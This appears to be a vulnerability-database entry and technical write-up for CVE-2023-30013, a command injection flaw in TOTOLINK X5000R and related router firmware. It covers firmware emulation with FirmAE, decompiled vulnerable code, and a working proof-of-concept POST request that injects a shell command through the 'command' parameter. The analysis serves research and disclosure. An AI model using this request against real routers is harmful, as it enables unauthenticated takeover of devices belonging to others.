Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2023-30013

Disclosure Date: May 05, 2023
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Initial Access
Techniques
Validation
Validated

Description

TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the “command” parameter.

Add Assessment

1
Ratings
Technical Analysis

Zioncom (Hong Kong) Technology Limited is a professional manufacturer for network communication products, including Wireless Router/AP (Indoor & Outdoor) , 4G&5G Router, Wireless Extender, Wireless USB Adapter, Wireless Module, Switch and Wired Router.
They are launching a large portfolio their network products under the brand name TOTOLINK. Despite the fact that they are in the business of developing and designing network products, a lot of their solutions are flawed in terms of security. Dozens of their products and related firmware are subject to buffer overflows and command injections and this CVE is only one of the many out there.

I took this CVE to the focus a bit more on the analysis of firmware and how you test your firmware without having the hardware actually in hand using firmware emulation.
Firmadyne is one of most popular firmware analysis and emulation software and is available in the public domain where you can install it freely on your Linux distribution. Now before you jump in cloning the repository and start the installation, I want to outline two other firmware analysis and emulation tools that probably makes your life a bit easier.
The first one is Firmware Analysis Toolkit (FAT) which is basically a script to automate Firmadyne. If you do not want to bother with complex installation, you can try AttifyOS which has Firmware Analysis Toolkit and other tools pre-installed and ready to use.
The other tool that you can use is called FirmAE which is a fully-automated framework that performs emulation and vulnerability analysis. FirmAE significantly increases the emulation success rate (From Firmadyne’s 16.28% to 79.36%) with five arbitration techniques.

In my case, I settled for FirmAE, because it indeed increases the success rate of firmware emulation considerably. There is a very nice Paper that explains the architecture and techniques used and I would advice you to read this first before jumping into the installation and operation of the tool.

Ok let’s go down to business and do some analysis and emulation with FirmAE.
I installed FirmAE on my Kali Linux distribution (2023.4) using the installation instructions provided on the github page. To emulate the specific firmware that comes with the TOTOLINK X5000R, binwalk need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after your FirmAE installation otherwise you will not be able to extract the firmware.

Ok, when everything is installed, let’s download the vulnerable firmware from TOTOLINK here. We need V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113.

UPDATE 14 September 2023
I could not reproduce the exploit with X5000R firmware V9.1.0u.6369_B20230113.rar, so please use V9.1.0u.6118_B20201102.zip for your testing.
I have also discovered other TOTOLINK firmware that is vulnerable for the same exploit.

  • Wireless Dual Band Gigabit Router model A7000R with firmware A7000R_V9.1.0u.6115_B20201022.zip
  • Wireless Dual Band Gigabit Router model A3700R with firmware A3700R_V9.1.2u.6134_B20201202.zip
  • Wireless N Router model N200RE V5 with firmware N200RE_V5_V9.3.5u.6095_B20200916.zip and N200RE_V5_V9.3.5u.6139_B20201216.zip
  • Wireless N Router model N350RT with firmware N350RT_V9.3.5u.6095_B20200916.zip and N350RT_V9.3.5u.6139_B20201216.zip
  • Wireless Extender model EX1200L with firmware EX1200L_V9.3.5u.6146_B20201023.zip
  • And probably more looking at the scale of impacted devices :–(

We are now ready to start the emulation. With FirmAE, you have different options such as a check option (-c) to see if your firmware can be emulated or a run option (-r) to emulate your firmware. I always use the debug option (-d) because it gives you the ability to access the firmware via a console for debugging and analysis purposes.
First run ./init.sh to start initialize the Postgress database.
Now run the debug session by running the following command ./run.sh -d TOTOLINK X5000R_V9.1.0u.6118_B20201102.zip
This will take a while, but in the end you should see the following…

TIP: you can speed this up by setting the arbitrary option FIRMAE_ETC in firmae.config to false (however, not necessary to make below work).

# ./run.sh -d TOTOLINK /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip
[*] /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/mem: File exists
mknod: /dev/kmem: File exists
mknod: /dev/null: File exists
mknod: /dev/random: File exists
mknod: /dev/urandom: File exists
mknod: /dev/console: File exists
mknod: /dev/ptmx: File exists
mknod: /dev/ttyS0: File exists
mknod: /dev/ttyS1: File exists
mknod: /dev/ppp: File exists
mknod: /dev/mtd0: File exists
mknod: /dev/mtd1: File exists
mknod: /dev/mtd2: File exists
mknod: /dev/mtd3: File exists
mknod: /dev/mtd4: File exists
mknod: /dev/mtd5: File exists
mknod: /dev/mtd6: File exists
mknod: /dev/mtdblock0: File exists
mknod: /dev/mtdblock1: File exists
mknod: /dev/mtdblock2: File exists
mknod: /dev/mtdblock3: File exists
mknod: /dev/mtdblock4: File exists
mknod: /dev/mtdblock5: File exists
mknod: /dev/mtdblock6: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!

[IID] 1
[MODE] debug
[+] Network reachable on 192.168.0.1!
[+] Run debug!
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... None false false -1 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
[*] firmware - X5000R_V9.1.0u.6118_B20201102
[*] IP - 192.168.0.1
[*] connecting to netcat (192.168.0.1:31337)
[-] failed to connect netcat
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit 

Now there is an issue that we need to fix first because the network connectivity from the host to the emulated firmware, which is basically a virtual machine, is not working. You can see this because netcat can not connect on 192.168.0.1 and pinging this IP is also not working. In order to fix this, use option 1. connect to socat to access your running firmware and run below commands to check the network configuration.

>1
/ # brctl show
brctl show
bridge name	bridge id		STP enabled	interfaces
br0		8000.525400123458	yes		eth2
/ # ifconfig -a
ifconfig -a
br0       Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth1      Link encap:Ethernet  HWaddr 52:54:00:12:34:57
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth2      Link encap:Ethernet  HWaddr 52:54:00:12:34:58
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:1980 (1.9 KiB)

eth3      Link encap:Ethernet  HWaddr 52:54:00:12:34:59
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

ip6tnl0   Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          NOARP  MTU:1452  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

sit0      Link encap:IPv6-in-IPv4
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tunl0     Link encap:UNSPEC  HWaddr 00-00-00-00-D4-7F-2C-6A-00-00-00-00-00-00-00-00
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

/ # 

In my case, there were two issues, first of all the bridge command showed eth2 instead eth0 and br0 did not have any IP configured.
To fix this, run the following commands below to make the firmware accessible from the host.

/ # brctl addif br0 eth0
brctl addif br0 eth0
/ # brctl show
brctl show
bridge name	bridge id		STP enabled	interfaces
br0		8000.525400123456	yes		eth2
							eth0
/ # ifconfig eth0 up
ifconfig eth0 up
/ # ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
/ #

You should now be able to ping the network address 192.168.0.1 from your host and run a nmap command to check the services.

# ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=8.92 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=2.38 ms
^C
--- 192.168.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.0.1
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 17:44 UTC
Nmap scan report for 192.168.0.1
Host is up (0.011s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE    SERVICE
23/tcp   filtered telnet
80/tcp   filtered http
8080/tcp filtered http-proxy
MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

nmap shows that the web service is up and running on port 80 so it is time to dig into the vulnerability.
Reading the CVE, it talks about command insertion vulnerability in setting/setTracerouteCfg using the command parameter.
Most of the functionality sits in the /cgi-bin/cstecgi.cgi file that you can find in the www directory at the emulated firmware.

/www/cgi-bin # ls -l
ls -l
-rwxrwxr-x    1 root     root           455 Nov  2  2020 ExportSettings.sh
-rwxrwxr-x    1 root     root        251300 Nov  2  2020 cstecgi.cgi
lrwxrwxrwx    1 root     root            15 Nov  2  2020 custom.cgi -> /tmp/custom.cgi
/www/cgi-bin #

To analyze, you can load this IDA or Ghidra to perform some reverse engineering.
I will not dwell on this topic for now, but the vulnerable code resides in the decompiled function below shown in Ghidra where the parameter command is not properly escaped when it is executed using the doSystem command which is basically an OS command call to the underlying Linux OS.

undefined4 FUN_0041f6a0(undefined4 param_1)

{
  undefined2 *param3;
  undefined2 *__nptr;
  int param2;
  char acStack_90 [128];
  
  memset(acStack_90,0,0x80);
  param3 = websGetVar(param_1,"command",(undefined2 *)"www.baidu.com");
  __nptr = websGetVar(param_1,"num",(undefined2 *)0x437f70);
  param2 = atoi((char *)__nptr);
  sprintf(acStack_90,"traceroute -m %d %s&>/var/log/traceRouteLog",param2,(char *)param3);
  doSystem(acStack_90);
  setResponse(&DAT_00436104,"reserv",param2,param3);
  return 1;
}

Besides reverse engineering using Ghidra or IDA, you can use the firmware analysis functionality provided by FirmAE. This is dynamic analysis using fuzzing and actually exploits from tools like Routersploit to find vulnerable code.

Let’s quickly validate if our vulnerable emulated router is vulnerable by sending a malicious POST request with a manipulated command parameter using burpsuite.

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 77
Origin: http://192.168.0.1
Connection: close

{"command":"127.0.0.1; echo cuckoo >/tmp/cuckoo.txt;","num":"200","topicurl":"setTracerouteCfg"}

Below is a valid response.

HTTP/1.1 200 OK
Connection: close
Date: Sun, 13 Sep 2015 16:37:50 GMT
Server: lighttpd/1.4.20
Content-Length: 234

traceroute to 127.0.0.1 (127.0.0.1), 200 hops max, 38 byte packets
 1  localhost.localdomain (127.0.0.1)  4.842 ms  0.195 ms  0.192 ms
{
	"success":	true,
	"error":	null,
	"lan_ip":	"192.168.0.1",
	"wtime":	"0",
	"reserv":	"reserv"
}

However, it is a blind command injection because nothing is returned in the response with regards to a successful command execution.
We have to check this directly on the emulated firmware and as you can see is the file /tmp/cuckoo.txt successfully created.

/tmp # ls -l *.txt
ls -l *.txt
-rw-rw-rw-    1 root     root             7 Sep 13 16:37 cuckoo.txt
/tmp # cat cuckoo.txt
cat cuckoo.txt
cuckoo
/tmp #

A Metasploit module for this exploit is in development.
You can find the module here in my local repository or as PR 18365 at the Metasploit Github development.

Mitigation

You should update your TOTOLINK X5000R router and other vulnerable TOTOLINK network devices listed in this article to the latest available firmware.

References

FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Firmware Analysis Toolkit (FAT)
Firmadyne
CVE-2023-30013
TOTOLINK Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18365
TOTOLINK X5000R Firmware

Credits

Kazamayc
And to all other good fellows who raised this concern ;–)

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • totolink

Products

  • x5000r firmware 9.1.0u.6118 b20201102,
  • x5000r firmware 9.1.0u.6369 b20230113

Additional Info

Technical Analysis